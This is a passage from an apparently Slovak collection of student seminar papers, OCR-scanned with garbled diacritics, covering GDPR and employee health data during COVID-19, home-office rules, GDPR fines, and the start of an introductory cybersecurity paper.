jednotlivcov nachdadzajucich sa v Eurdpskej unii. 297 Ako je z jednej z mnoho definicii
GDPR zrejmé, podstatou tohto nariadenia je chrdnenie osobnych udajov
jednotlivcov pred ich neoprdvnenym pouzivanim. Pod osobngmi udajmi
rozumieme najmd& informdcie, ktoré wvytvaraju identitu fyzickych oséb -
jednotlivcov. Ide najmda o konkrétne udaje, akymi su napriklad meno, priezvisko,
adresa, rodné cislo, e-mailovd adresa cCi telefénne Cislo konkrétnej fyzickej osoby.
Vymenované su len niektoré zo vsetkych vyznamnych ,identifikadtorov”. GDPR
povazuje za osobné udaje aj také informdcie, prostrednictvom ktorych je mozné
jednotlivcov jednoznacne identifikovat’ (napriklad zamestnanecké cislo, fotografie
a pod)t®. Za citlivé informdcie, ktorgym je potrebné venovat zvySenu pozornost’ pri
ich ochrane, sa vSak povazuju aj informdcie o zdravotnom stave jednotlivcov.[?%)
Prave dany typ informdcii je v spojitosti s aktudlne prevlddajucim virusovgm
ochorenim COVID-19 aktudlne najviac vgznamnygm.

Manazment bezpecnosti a COVID-19

Aktudlne Zijeme v dobe, ktord je poznacend strachom zo zdravia obyvatefov na
celom svete. Tento strach zapricinuje rychlo a agresivne Siriace sa ochorenie
COVID-19.

Ochorenie COVID-19, resp. KORONAVIRUS je vyrazné infekéné ochorenie, ktoré
aktudlne trapi cely svet. Toto ochorenie je vyvolané koronavirusom SARS-CoV-2,
pricom postihuje najma dychaci systém ¢loveka. Virus sa do sveta postupne rozsiril
z Cinskeho mesta Wu-chan, v ktorom sa prvi infikovani pacienti objavili uz v
decembri roku 2019. Vplyv, ako aj priebeh virusu na fudsky organizmus je rézny u
kazdého cloveka. Faktom vSak je, Ze tento virus mdze viest’ az k Umrtiu pacienta.
Dalsim délezitym faktorom je siritelnost daného virusu prostrednictvom kvapdcok
sekrétu pri kasli, kgchani a rozprdvani, o md za ndsledok rychly presun virusu z
Cloveka na ¢loveka pri bezprostrednom kontakte danych osob.e

Od zaciatku prepuknutia virusu je vgvoj Sirenia ndkazy vo svete stdle pomerne
vazny. Oproti ingm krajindm sa Slovensko snazi zavdadzat’ viacero bezpecnostnych
opatreni, ktoré maju zabrdnit’ rapidnemu Sireniu virusu. Opatrenia sa véak menia a
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upravuju v case podfa zdvaznosti aktudlinej situdcie. V sucasnosti sa Slovensko

nachddza v Ciernej, najzavaznejsej, faze tzv. COVID automatu.

Dbanie na bezpecnost sa tyka kazdého jedného jednotlivca. Je nesmierne
délezité zamerat sa na dodrZiavanie stanovenych opatreni a zdkladnych
hygienickych pravidiel (rusko - odstup - ruky). Ochrana a bezpec¢nost’ zdravia je
prioritou kazdého z nds. Délezité je byt taktiez ohlfaduplngm k ostatngm a spravat’
sa zodpovedne.

Jednou z najviac dotknutych skupin su taktiez zamestndavatelia. Prédve oni musia
pristupit’ k zdsadnym opatreniam, prostrednictvom ktorych na jednej strane
zabezpecia ochranu zdravia svojich zamestnancov, a na strane druhej aj ochranu
ich osobnych udajov, resp. udajov o ich zdravotnom stavel®. Medzi zdkladné
opatrenia, ktoré by mali spolocnosti vykonat mozno zaradit’:

- Spoloc¢nosti by mali pri vstupe do ich kanceldrskych priestorov zabezpecit
najmd& infografiky ohladom nosenia ochrannych rusok, dezinfekéné
pripravky na ruky, meranie telesnej teploty, v pripade recepcie &i vrdtnice je
vhodné vyuzit' zabezpecenie prostrednictvom ochrannych plexiskiel,
vyznacenie dvojmetrovych odstupov a podobne. Pri vstupe zamestnancov
do kanceldrskych priestorov je vhodné zabezpecit zoznam ludi, ktori sa v
urcitom case v priestoroch nachddzali (elektronickd forma - prichod a
odchod zaznamenany ID kartou alebo ¢ipom / tla¢end forma - zamestnanci
vypinaju ¢as prichodu a odchodu ruéne) a pod.

- Spolo¢nosti by si mali pre svoje interné potreby vypracovat vlastny
pandemicky pldan, ktory by obsahoval informdcie o tom, kedy zostat’ doma,
komu hldsit, aké opatrenia treba urobit nasledovne vo firme pre
zabezpecenie nesirenia ndkazy, ale aj zachovania fungovania firmy a pod.
Ndsledne je potrebné o tomto pldne ako aj o symptémoch / priznakoch
respira¢ného ochorenia informovat’ véetkych zamestnancov.

- Spolo¢nosti by mali eliminovat’ pohyb zamestnancov na pracovisku pokial
to charakter vykondvanej prdace dovoluje. Spolo¢nosti by mali zvazit
zavedenie moznosti prdce z pohodlia domova (home office) pre
zamestnancov.

- Spolo¢nosti by mali zabezpecit zvysenu hygienu kanceldrskych priestorov -
pravidelnu dezinfekciu povrchov, klfuciek, zdabradli, pracovnych pléch a
pomobcok a inych pléch a predmetov.

- Spolo¢nosti by mali eliminovat’ a obmedzit, ak je to mozné, fyzicky kontakt
so zdkaznikmi a medzi zdkaznikmi. Napriklad prostrednictvom on-line alebo
telefonickych objedndavok, bezkontaktného dorucovania alebo riadeného
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vstupu (pricom je tiez potrebné zabrdnit’ zhromazd’ovaniu mimo aredlu) a
fyzického odstupu vnutri aj mimo aredlu.
- Zabezpecenie primeraného a castejSieho vetrania kanceldrskych priestorov.
- V sucasnosti je vhodné pravidelne vyzadovat od zamestnancov negativne
testy.

V spojitosti s aktudlnou situdciou a bezpecnost'ou je na mieste otdzka ochrany
osobnych udajov. Pri COVID-19 sa medzi osobné udaje, ako aj udaje tykajuce sa
zdravia prislusnej dotknutej osoby zarad’uju najmé:t?

- Udaje tykajuce sa prdceneschopnosti zamestnanca v kontexte ndkazy
COVID-19,

- udaje indikujuce pobyt zamestnanca v oblastiach oznacenych ako vysoko
rizikové z pohladu moznej ndkazy virusom,

- Udaje ohfadom mozného kontaktu s osobou s podozrenim na ndkazu
COVID-19,

- Udaje ziskavané v suvislosti s meranim telesnej teploty pri vstupe do
priestorov zamestndavatela.

Pri spracovdvani osobnych udajov o zdravotnom stave je spolo¢nost’ povinnd
informovat’ zamestnancov, a taktiez vSetky dotknuté osoby, o podmienkach a
spbsobe spracovdvania danych udajov. ,Zamestndvatelia su povinni vyzadovat
zdravotné informdcie iba v rozsahu, v akom to vnutrostatne prdavne predpisy
uUMoznuju a prisne dodrziavat zdsadu minimalizacie spracuvanych daét M Pod
zdsadou minimalizdcia rozumieme spracovdvanie iba tych osobnych uUdajov o
zdravotnom stave, ktoré su relevantné a nevyhnutné pre zabrdnenie Sirenia virusu,
a to iba na nevyhnutne dlhu dobu.

Zozbierané informdcie o zdravotnom stave svojich zamestnancov je
zamestndvatel povinng chranit, tj. zabezpecit také opatrenia na ochranu
osobnych udajov, aby dané udaje nemohli byt zneuzité. Tretim osobdm mbze
zamestndvatel poskytnut’ dané osobné udaje o zdravotnom stave zamestnancov
iba vtedy, ak je to nevyhnutné a md na to zdkonny dévod. Ak je to nevyhnutné z
dévodov verejného zdujmu v oblasti verejného zdravia, mbéze zamestndvatel tieto
Udaje ndsledne poskytnut napr. nemocnici alebo orgdnom &inngm v trestnom
konani. V Ziadnom pripade zamestndvatel nemd prdvo poskytovat dané osobné
udaje o tom, kto je konkrétne nakazeny, médidm ¢i verejnosti.l™

V sucCasnej situdcii mnoho zamestndvatefov umoziuje svojim zamestnancom
pracu z pohodlia domova. V&csina zamestndvatelov vsak nebola vopred
pripravend na hromadné zavddzanie prdce prostrednictvom ,home office”. V
tomto pripade je na mieste otdzka ochrany spracuvanych ddt, nakolko
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zamestnanci  pracuju  prostrednictvom pocitacov  pripojenych do beznych
domadcich internetovych sieti bez zvysSenej uUrovne zabezpecenia. Tuto Uroven
zabezpeclenia zamestndavatel nevie ovplyvnit, a tak méze Ffahko déjst’ k uniku
danych osobnych uUdajov. Pri praci mimo kanceldrskych priestorov
zamestndvatela sa k citlivgm udajom méoézu omnoho fahsie dostat’ taktiez aj iné
osobu.

Zamestnavatelia by mali svoju pozornost upriamit’ najmé& na aktualizaciu
bezpecnostnej firemnej politiky, pravidiel nakladania s citlivgmi informdciami a
prijat vhodné opatrenia. Dané opatrenia je potrebné ndsledne ndlezite
zdokumentovat' a informovat o nich v8etky zainteresované stranyll S
obmedzenost'ou firemnych prevddzok su uzko spdté aj mnohé rizikd, ktoré mozno
zaradit’ do piatich zdkladnych kategorifit!

- infrastrukturne rizikd,

- kybernetické rizika,

- zamestnaneckeé rizikd,

- obchodné a prevadzkoveé rizikd,
- komunikacné rizikd.

Zaver

Pandémia nds aktudline printtila zit v dobe plnej nepredvidatelnych udalostt.
Preto je potrebné dbat’ zvyseny ohlad na bezpec¢nost nds a fudi v nasom okoli. Z
pohladu Stdtov je potrebné vytvdrat jasné a priame opatrenia, pomocou ktorych
sa podari Sirenie virusu zastavit. Délezitd je aj otvorend komunikdcia danych
opatreni voci Sirokej verejnosti.
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IMPLEMENTACIA GDPR V CASE PANDEMIE

IMPLEMENTATION GDPR DURING PANDEMIC
Jakub Juricka

Abstract
The main goal of this paper is drescibe how organisations deal with personal data
protection and implementing GDPR during pandemic.

Key words: Implementation, gdpr, pandemic

Abstrakt
Hlavnym cielom tejto semestrdlnej prdace je popisat’” ako organizdcie dodrzuju
ochranu osobnych udajom a implementuju GDPR pocas pandémie

KPdcové slova: Implementdcia, gdpr, pandémia

Uvod

GDPR (General Data Protection Regulation) je vseobecné nariadenie na ochranu
osobnych udajov.l Je to nariadenie Eurdpskej Unie, ktoré nadobudlo u¢innost’ 25.
madja 2018 a nahradilo vtedajsi zakon o ochrane osobnych udajov. GDPR sa dotyka
kazdého, kto zhromazd'uje a spracovdva osobné Udaje Eurdpanov, vrdtane
spolo¢nosti a institucii mimo EU, ktoré pdsobia na nasom trhu. Nariadenie je platné
pre firmy, institucie, jednotlivcov - zamestnancov, zdkaznikov, klientov qj
doddvatelov napriec vSetkymi odvetviami. Rovnako sa tgka aj tych, ktori analyzuju
chovanie uzivatelov webov a aplik&cii!

V roku 2020, s prichodom pandémie Covid 19, mnoho firiem zacalo riesit ako
sprdavne spracuvat’ Udaje tykajuce sa zdravia svojich zamestnancov a ako by mal
zamestndvatel pristupovat k informdcidm o zdravotnom stave zamestnanca bez

toho, aby porusil pravne predpisy.t*!

Prezenc¢ny vykon prdce

Mnoho ludi ndpln svojej prace musi vykondvat’ na sidle pracoviskat®. Do tejto
skupiny zamestnania patria napriklad gastro prevdadzky, automobilky, priemyselnd
vyroba atd’. Tym pdaddom prichddza do styku vacsia skupina ludi na pracovisku a je
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potreba chrdnit zamestnancov vodi riziku ndkazy. Aby sa znizilo riziko ndkazy

zamestndvatel méze vyzadovat od zamestnanca niekolko udajov. Medzi udaje o

zamestnancoch, ktoré zamestndvatel spracuva v suvislosti s COVID-19, mbzu

patrit’e]

- Udaje tykajuce sa prdceneschopnosti zamestnanca v kontexte ndkazy
COVID-19,

- Udaje indikujuce pobyt zamestnanca v oblastiach oznacenych ako vysoko
rizikové z pohfadu moznej ndkazy virusom,

- Udaje ohfadom mozného kontaktu s osobou s podozrenim na ndkazu
COVID-19,

- Udaje ziskavané v suvislosti s meranim telesnej teploty pri vstupe do
priestorov zamestndvatela.

Nakolko sa jednd o informdcie, ktoré sa tykaju konkrétneho zamestnanca, musia
byt posudzované v zmysle GDPR ako osobné udaje. Zdroven tieto udaje maju
potencidlnu vézbu na zdravotny stav zamestnanca, a preto ich mozno radit’ medzi
Udaje tykajuce sa zdravia prislusnej dotknutej osoby.t®!

V krajindch, kde je virus rozsireny najviac prijali opatrenia tamojsie DPA (Data
protection authorities), ktoré konstatovali, Ze nie je vhodné, aby zamestndvatelia
systematicky zbierali udaje o zdravotnom stave svojich zamestnancovi?. Tento
z&ver je logicky, kedze k tomu sU poverené nemocnice, lekdri, Urady verejného
zdravia a pod.

Na druhej strane, zamestnanci mézu byt v rdmci pracovnoprdvneho vztahu
zaviazani k tomu, aby informovali zamestndvatela o rizikdch tgkajucich sa ich
zdravotného stavu. V kazdom pripade je vSak potrebné dbat’ na zdkladné zdsady
spracuvania osobnych udajov a ustanovenia ¢l. 9 Nariadenia GDPR, ktoré upravuje
spracuvanie osobitnych kategdrii osobnych udajov, ku ktorym patria udaje o
zdravotnom stave.[®!

[rska DPA sa vyjadrila aj k ziskavaniu Udajov o predchddzajucich cestach
zamestnancov a ndvstevnikov vstupujucich do budovy. V ramci irskeho pravneho
poriadku maju zamestndvatelia povinnost’ chrdnit’ svojich zamestnancov, preto sa
v rdamci ich jurisdikcie mdzZze zamestndvatel dopytovat na informdcie o
predchddzajucich cestdch, pripadne symptémoch.t®

Podla EPDS - Eurdpskeho dozorného uradnika pre ochranu Udajov je mozné
zamestnancom merat’ teplotu. ,Zdkladnd kontrola telesnej teploty” je uréend iba
na meranie telesnej teploty prostrednictvom neautomatizovanych prostriedkov, po
ktorej nenasleduje registrdacia, dokumentdcia alebo iné spracuvanie osobnych
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udajov jednotlivca. Takdto kontrola by v zdsade nepodliehala rozsahu pésobnosti
nariadenia.”, vyplgva z usmernenia EPDS.

Home Office

Boj proti epidémii COVID-19 spdsobil, ze velkd vacsina podnikatelov, ktori pdsobia
v sektore IT, Uctovnictvo, bankovnictvo, zaviedla aspon do istej miery moznost’
zamestnancom prdcu z domu, tzv. Home Office. Home Office md zabrdnit” alebo
obmedzit’ styk viacerych ludi na pracovisku a tym znizit mobilitu aby zabrdnili
Sirenie virusu.

Home office ako institut nebol v zdkone ¢. 311/2001 Z. z. Zdkonniku prdce v zneni
neskorsich predpisov (d’alej len ,Zadkonnik prace®) blizSie rozpracovany, a to do
¢asu prijatia zdkona & 66/2020 Z. z., ktorym sa doplia zékon & 311/2001 Z. z.
Zakonnik prace v znenf neskorsich predpisov a ktorgym sa dopliiaju niektoré zakony
(d’alej len ,novela®). Novela Zdkonnika prdce bola prijatd s cielom umoznenia
flexibilnejSieho reagovania zamestndvatelov na dynamické zmeny, ktoré
ovplyvnuju organizdciu prdce, ale aj s cielom ochrany zamestnancov pri niektorych
Upravdch v oblasti pracovného ¢asu.

Novelou bol do Zdakonnika prdace véleneny § 250b, ktory ustanovuje moznost’
zamestndvatela prikdzat pracu z domu (z domdcnosti) zamestnanca, ak:]

- ide o ¢innost’, u ktorej je to mozné a

- ak prdaca na pracovisku nie je moznd, nevyhnutnd, pripadne je rizikovd z
dbévodu prevencie Sirenia prenosnej choroby a

- zamestnanec takyto vykon prdce z domdcnosti pripadne bezddvodne
odmieta (dohoda stran pritom nie je tymto ustanovenim vylucend).

TaktieZ sa ustanovuje pravo zamestnanca na vygkon prdce z domdcnosti, a to za
podmienky, Ze:

- povaha prdce to umoznuje a
- nebrdnia tomu vazne prevadzkové dévody (napr. potreba pritomnosti Casti
zamestnancov na pracovisku).H

Zavedenie home office pre viac zamestnancov, pripadne pre celt firmu, nie je
také jednoduché a ide o urcity proces, ktory so sebou prindsa povinnosti pre
zamestndvatela i v oblasti ochrany osobnych udajov a ich bezpec¢nosti. Pri prdci z
domu pritom hrozi vyssie riziko uniku, straty osobnych udajov, i iné bezpecnostné
incidenty, ktoré mézu mat’ dopad na ochranu osobnych udajov. Zamestndvatelia
by preto mali zvysit ochranu osobnych Udajov a poucit’ zamestnancov o
manipuldcii s nimi v domdacom prostredi”?
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GDPR nezakazuje prdacu z domu. GDPR a ani ziaden Urad priamo nerusi moznosti
prendsania pracovnych notebookov a ani nezavddza zdkazy nardbania s
osobnymi udajmi v pracovnych zariadeniach, ktoré su mimo pracoviska. Tvrdi to
skér neznalost’ zamestndavatelov, alebo ndklady na dokumentdciu a stanovenie
pravidiel. Je preto délezité kontaktovat sprostredkovatela GDPR dokumentdcie,
alebo Urad pre ochranu osobnych udajov, aby spolo¢nosti a zamestndvatelovi
predostrel podoby pravidiel a dokumentdcie pre pracu z domu, pokial je potrebné
v spoloc¢nosti riesit’ oprdavnenia.l©

Zdaver

Pri spracuvani osobnych udajov v suvislosti s ochoreniami a mimoriadnymi
situdciami mozno aplikovat’ aj pravny zdklad, ktori nie je bezne vyuzivany -
ochrana zivotne délezitych zdujmov.l™ Je v8ak dbélezité plnit vSetky povinnosti
vyplyvajuce z GDPR Nariadenia - od zdsad, cez informa¢nu povinnost az po
bezpecnost’ na vsetkych urovniach. K tomu je potrebné mat’ prijaté interné postupy
a dokumenty k ochrane osobnych udajov.

Pri home-office zamestnancov pomdzu k dodrZiavaniu povinnosti, pripadne
plneniu bezpecnostnych opatreni napriklad ndvody pre zamestnancov - ako
spracuvat’ osobné udaje a na <o si dat’ pozor - zabezpecit' listinné dokumenty a
zariadenie, pouzivat’ firemnu VPN, zdlohovat na firemnom cloude a pod.

Tieto opatrenia zmierfiuju rizikd bezpecnostnych incidentov alebo porusenia
ochrany osobnych udajov.t®
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OCHRANA OSOBNYCH UDAJOV V ZMYSLE GDPR

PERSONAL DATA PROTECTION ACCORDANCE WITH GDPR
Orsolya Kurti

Abstract

The aim of the article is to characterize the GDPR regulation, which was
introduced in 2018. The work will explain the regulation, how it effects the consumers
and the companies and what major changes it brought. The thesis will also deal
with the fines that the GDPR regulation brought and they serve as motivation.

Key words: internet, internet security, GDPR

Abstrakt

Cielom ¢&ldanku je charakterizovat’ nariadenie GDPR, ktoré bolo zavedené v roku
2018. V prdci bude vysvetlené nariadenie, aké md dopady na spotrebitefov a
spoloc¢nosti a aké zasadné zmeny priniesol. Praca sa bude zaoberat’ aj pokutami,
ktoré prinieslo nariadenie GDPR a sluZia ako motivdcia.

KlPucéové slovd: internet, ochrana na internete, GDPR

Uvod

Ddatové sukromie ako koncept neexistovalo az do konca dvadsiateho storocia,
kedy sa zrodil internet a jeho exponencidlna miera prijatia prostrednictvom
pocitacov a mobilngch telefénov. Do tej doby sa sukromie vo velkej miere
vztahovalo na fyzicky existenciu a informdcie suvisiace s jednotlivcom, jeho
domovom, dokumentmi a osobngm Zzivotom. S vyvojom technoldgii nie je
vytvdranie hranic v su¢asnom spolo¢enskom prostredi v ziadnom pripade Ffahka
Uloha. Musime expanzivne muysliet na vytvorenie rdmca, kde je zverejnenie,
zdiefanie a pouzitie nasich informdcii transparentné a v ich kazdodennom Zivote je
mozné riadit’ diskrétnost™. Je pomerne jednoduché vytvarat a presadzovat
zékony proti premyslenému a nezdkonnému pouZitiu ndSho sukromia alebo
osobnych udajov. napr. hacker ziskavajuci dbéverné Udaje prostrednictvom
pocitacového vniknutia" Zneuzivanie osobnych sukromnych udajov vyvolali v
modernej dobe potrebu nariadenia, ako je aj VSeobecné nariadenie o ochrane
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udajov (GDPR), ktoré je najprisnejsim zdkonom o ochrane sukromia a bezpecnosti
na svete. Vyhodou GDPR je jeho schopnost regulovat podniky, ktoré
nedodrziavaju pravidld. Pokuta mobze byt vymedzovand, ak organizdcia
nespracuva udaje jednotlivca spravnym spbdsobom, alebo narusuje bezpecnost’
uZivatela.

GDPR nariadenie

Nariadenie GDPR je pokladané za jeden z najvacsich legislativnych uspechov
Eurdpskej Unie za posledné roky. Nariadenie sa teraz stalo referencngm bodom
pre mnoho krajin mimo Eurépy, ako su Cile, Juzna Kérea, Brazilia, Japonsko, Kena,
India, Indonézia a Taiwan. Nadndrodné spolo¢nosti tiez dobrovolne dodrziavaju
nariadenie GDPR, aby usetrili na ndkladoch na dodrziavanie predpisov, ¢im zvysuju
globdlne standardy ochrany osobnych udajov pre vSetkych pouzivatefov.”]

V8eobecné nariadenie o ochrane uUdajov (GDPR) je najprisnejsim zdkonom o
ochrane sukromia a bezpecnosti na svete. Aj ked’” to bolo navrhnuté a schvdlené
Eurdpskou uniou (EU), ukladd povinnosti organizdciam kdekolvek, pokial sa
zameriavaju alebo zhromazd'uju Udaje tykajuce sa fudi v EU. Nariadenie vstupilo
do platnosti 25. mdja 2018. V podmienkach SR sa premietlo do osobitného zdkona
¢.18/2018 Z. z. o ochrane osobnych udajov Uc¢inného od toho istého dna. Tento
zakon nahradil dovtedy platny zakon ¢.122/2013 Z. z. 0 ochrane osobnych udajov.
Smernica potvrdzuje pravo na ochranu osobnych udajov a zakladné zdsady, ktoré
by sa mali vztahovat na spracovanie udajov, pricom sa ddsledne riadia pravidlami
a zdasadami zakotvenymi vo vSeobecnom nariadeni o ochrane Udajov. Prdava
fyzickych osbéb a povinnosti ulozené kontrolérom - napriklad v suvislosti so
zabezpecenim udajov, ochranou udajov uz v S$tadiu ndvrhu a predvolengym
nastavenim a ozndmeniami o poruseni ochrany udajov - sa podobaju pravam a
povinnostiam vo vSeobecnom nariadeni o ochrane udajov.®} Smernica tiez
zohladnuje a snazi sa riesit’ vdzne vznikajuce technologické vyzvy, ktoré mézu mat’
obzvlast nepriaznivy dopad na jednotlivcov, napriklad pouzitie povolovacich
postupov orgdnmi ¢inngmi v trestnom konani. V zdsade musia byt zakdzané
rozhodnutia zalozené vylu¢ne na automatizovanom spracovani  vrdtane
profilovania. Okrem toho nesmu vychddzat z citlivgch Udajov. Takéto zdsady
podliehaju urcitym vygnimkdm stanovenym v smernici. Takéto spracovanie nesmie
navyse viest k diskrimindcii Ziadnej osoby.[?

Doévodom, preco boli potrebné noveé prdavne predpisy, je to, Zze pdvodnd smernica
z roku 1995 bola formulovand v dobe, ktord sa javi ako ind technologickd doba. V
tom ¢ase pouzivalo internet iba 1% svetovej populdcie, dnes je véak v EU takmer
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vSadepritomnd. Cloudové vypocty a socidlne médid vtedy neboli zndme, takisto to
neboli ani smartfény ¢&i tablety. Prevaznd vacsina informdcii sa dnes vyrdba a
spotrebuva elektronicky, ¢o st'azuje ich ochranu.

Hlavné zmeny Nariadenie GDPR rozsiruje rozsah ochrany udajov tak, aby ich
ktokolvek alebo akdkolvek organizacia zhromazdujuca a spracuvajuca
informdcie tykajuce sa obc¢anov EU dodrziavala bez ohfadu na to, kde sa
nachdadzaju alebo kde sU uUdaje ulozené. Cloudové uUlozisko nie je vynimkou.
Rozsirila sa aj definicia osobnych Udajov. Uvadza sa v fiom, Zze osobné udaje
zahfnaju informdcie, na zdklade ktorych je mozné priamo alebo nepriamo
identifikovat’ osobu. Podla novej definicie su identifikdtory, ako su IP adresy a
subory cookie, zahrnuté ako osobné informdaciel®. Pred nariadenim GDPR
neexistovali jednotné prdavne predpisy tykajuce sa ozndmeni o poruseni, s
vynimkou poskytovatelov sluzieb elektronickej komunikdcie podfa smernice o
elektronickej bezpecnosti. Niektoré krajiny pridali do svojich pravnych predpisov
opatrenia, ktoré sa maju vztahovat na ozndmenia o poruseni, ale nie vSetky. GDPR
zavddza povinné ozndmenie o poruseni, pokial je nepravdepodobné, Zze porusenie
povedie k riziku pre prdava a slobody dotknutych osbéb. Obzvlast zdvaznd
poziadavka nového nariadenia je, ze organizdcie, ktoré utrpeli porusenie ochrany
udajov, musia informovat orgdny na ochranu udajov do 72 hodin od jeho zistenia.t®]
Oproti existujucej legislative, dopad nariadenia GDPR nie je citelny po obsahovej
stranke, povinnosti spracuvania osobnych udajov sa vztahuju na nakladanie s
klasickgmi papierovgmi dokumentami, rovnako ako na pocitacové databdzy a
prenosy, teda na typické operdcie internetovych obchodov s osobnygmi udajmi.

Jednou z najvacsich a najviac sa najpotrebnejsich prvkov GDPR je schopnost’
regula¢nych orgdnov zasiahnut voci podnikom, ktoré ho nedodrziavaju stanovit’
im vysoké pokuty. Ak organizdcia nespracuva udaje jednotlivca spravnym
spésobom, méze byt pokutovand. Ak to vyzaduje. ale nemd Uradnika pre ochranu
osobnych udajov, mbéze vam byt takisto ulozend pokuta. Ak dbdjde k naruseniu
bezpecnosti, mbéze byt spolo¢nost’ rovnako pokutovand.te!

Jedna z najvyssich pokut podla GDPR bola doteraz proti spolo¢nosti Google:
francuzsky reguldtor ochrany udajov, Narodnd komisia pre ochranu udajov (CNIL),
pokutoval spolo¢nost’ na 50 milionov EUR. CNIL uviedol, ze pokuta bola udelend z
dvoch hlavnych dévodov: Google neposkytoval pouzivatefom dostatok informdacii
o tom, ako vyuziva Udaje, ktoré ziskava od 20 réznych sluzieb, a tiez neziskava
riadny suhlas so spracovanim udajov pouzivatela.t

Na Slovensku Urad na ochranu osobnych udajov SR médze ulozit dva druhy
sankcif:4
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1. pokutu za sprdvne delikty (za priame porusenie GDPR),
2. poriadkovu pokutu za nesplnenie nim ulozeného opatrenia (za nesplnenie
predchddzajuceho opatrenia ulozeného uradom).

Nariadenie ustanovilo moznost’ ukladat’ pokuty az do vysky niekolkych milionov
eur (napr. za zadvazné porusenie najviac do vysky 20 000 000 eur). Kazdé porusenie
GDPR alebo nového zdkona o ochrane osobnych udajov musi byt hned’ ulozend
pokuta. Kontrolovany subjekt (napr. obchodnd spoloc¢nost” ako prevdadzkovatel)
moze byt napriklad najprv upozorneny na to, ze jeho spracovatelské operdcie
pravdepodobne porusuju eurdpske nariadenie alebo pri zisteni konkrétneho
porusSenia mu modze byt udelené napomenutie. To znamend, Ze Urad posudzuje
kazdé poruSenie samostatne a po zhodnoteni konkrétnych okolnosti zvdzi, i
kontrolovanému subjektu hned’ uloZi pokutu a v akej vysSke alebo ho len
napomenie.

Nemecky $tatny Urad na ochranu udajov udelil pokutu 10,4 mil. EUR voci stredne
velkému online predajcovi, ktory Udajne porusil véeobecné nariadenie EU o
ochrane uUdajov (GDPR) monitorovanim svojich zamestnancov pomocou CCTV.
Obchodnik pouZzival vo svojich priestoroch kamerové systémy na prevenciu a
vySetrovanie trestnych cinov a na sledovanie toku tovaru v skladoch po dobu
najmenej dvoch rokov. Stdtny komisdr nepovazoval tieto Ucely za dostatocne
legitimizované pouzitie kamerového systému v pracovnych priestoroch a v
priestoroch pristupnych ndavstevnikom®,

Norsky Urad pre ochranu udajov ozndmil spolo¢nosti Grindr LLC (Grindr), Zze maju
v Umuysle ulozit’ spravnu pokutu vo vyske 100 000 000 NOK za nedodrzanie pravidiel
GDPR o suhlase. V roku 2020 podala Noérska rada spotrebitelov staznost” proti
spolo¢nosti Grindr, ktord sa tyka nezdkonného zdielania osobnych udajov s tretimi
stranami na marketingové Ucely. Zdiefané udaje zahriaju polohu GPS, udaje o
profile pouzivatela a skutocnost, Ze dotycny pouzivatel je na serveri Grindr. Ro¢ny
obrat spolo¢nosti blizi k 100 000 000 EUR . To znamend, Ze navrhovand pokuta
bude predstavovat’ priblizne 10% obratu spolo¢nosti.l’)

Nariadenie o GDPR takisto hovori ale réznych druhoch pokut, za rézne porusenia
GDPR. Na Slovensku je sice horny strop urc¢eny ako 20 milionov alebo 4% celkového
ro¢ného obratu, toto je ale najvyssia vymedzend sadzba.™ Nariadenie hovori aj o
pokute do 10 miliénov alebo 2% celkového ro¢ného obratu a dokonca aqj o
poriadkovej pokute od 2000 EUR do 10 000 EUR. Pro vymedzeni pokuty sa berie
do Uvahy zdavaznost porusenie, Skody, prijaté dodatocné opatrenia na ndhradu
skody a takisto spdsob, akym sa Urad o pochybeniach dozvedel. Tieto pokuty je

’e

mozno ulozit do 6 mesiacov alebo 2 rokov odo diia porusenia, a sU prijmom do
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Statneho rozpoctu. Treba ale zdéraznit, Ze aj ked’ urad prihliada na rézne okolnosti
pri udelovani pokuty, tadto pokuta mdze byt v mnoho pripadoch az likvida¢nd.

Zdaver

Prdaca sa venovala nariadeniu GDPR a jeho pouzivaniu v praxi. Ako sme mohli
vidiet’, toto nariadenia md& velfmi velky dopad na kazdodenné pouzivanie internetu
a elektronickej komunikdcie. GDPR je prostriedok nie len ochrany pouzivatela na
internete, ale aj jeho osobnych ddt pred zneuzitim. GDPR sa v dnesnej dobre berie
velmi vazne v celej Eurdpskej unii. Prave preto su aj pokuty za nedodrzanie také
vysoké a prisne kontrolované. Na to aby bola zabezpecend, ¢o najvacsia
bezpecnost’ osoby na internete, treba v ¢o najvacsej miere motivovat firmy na jej
dodrziavanie. Tato prdca ukdzala, ako je firma negativne motivovand pod hrozbou
vysokej pokuty na dodrziavanie GDPR. Eurdpska uUnie je v tomto neuprosnd.
Obyvatelia EU musia byt v ¢o najvacsej miere chraneni a to aj za cenu vysokych
pokut. Preto sa GDPR povaZuje za prelomové nariadenie, ktoré pésobi meni
charakter kazdodenného pouZzivania internetu.
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KYBERNETICKA BEZPECNOST

CYBER SECURITY
Dominik Luc¢an

Abstract

The article deals with cyber security, basic concepts in the field of cyber security,
a description of recommendations on how to combat cyber attacks and
recommendations for using a personal computer and choosing a strong password.

Key words: Hacker, security, black hat, white hat,

Abstrakt

Clanok sa zaoberd kybernetickou bezpe&nost'ou, zakladngmi pojmami z oblasti
kybernetickej bezpecnosti, popisom odporucani ako bojovat proti kybernetickym
utokom a odporucaniami pri pouzivani osobného pocitaca a vyberu silného hesla.

KPucové slova: Hacker, bezpecnost’, virus, black hat, white hat

Uvod

Kybernetickd bezpecnost’ sa netgka len statnych institucii ale kazdého obyvatela
vyuzivajuceho internetové sluzby. V dneSnom modernom svete si uz zZivot bez
internetu nevieme predstavit. Preto netreba zabudat’ aj na hrozby, ktoré prindsa
virtudlny svet okolo nds, a treba byt vzdy opatrny, kde zaddme nase osobné
udajet®. Kyberneticky priestor mézeme vnimat’ ako digitdline prostredie tvorené
informacnymi technoldgiami, ktoré spracovdavaju a vytvdaraju informdcie a
dochddzke v nom aj k vymene informdcii. Ide o virtudlny priestor prepojeny
pocitacovych systémovt®, ktoré na seba pbdsobia bez nutnosti fyzickej aktivity.
Bezpecnost kybernetického priestoru je suhrn prdavnych, organizac¢nych,
technickych a fyzickych opatreni, ktoré umoznuju odoldvat kybernetickgm
utokom. NajcastejSie sa sklonuju kybernetické utoky v ramci financii, politiky Statov,
¢i vojensky motivované utoky ale aj kradez osobnej identity jednotlivca.
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Kyberneticky Utok

Kyberneticky utocnik, méze mat rézne motivacie k Utokom, napriklad, financny
zisk, slava, snaha o publicitu, pomsta proti konkrétnemu Cloveku alebo spolo¢nosti.
Utoénikov podfa motivécii mozno rozdelit az do réznych 9 skupintl.

1.

Hacker zaciato¢nik - snaziaci sa o Utok bez ohfadu na zmuysluplnost’ aby
ziskal uznanie hackerskej komunity.

Hacker profesiondl - znalec IT technolégii, snaha o prekonanie
intelektudlnych vyziev, psychologicky motivovand radost’ z prekondvania
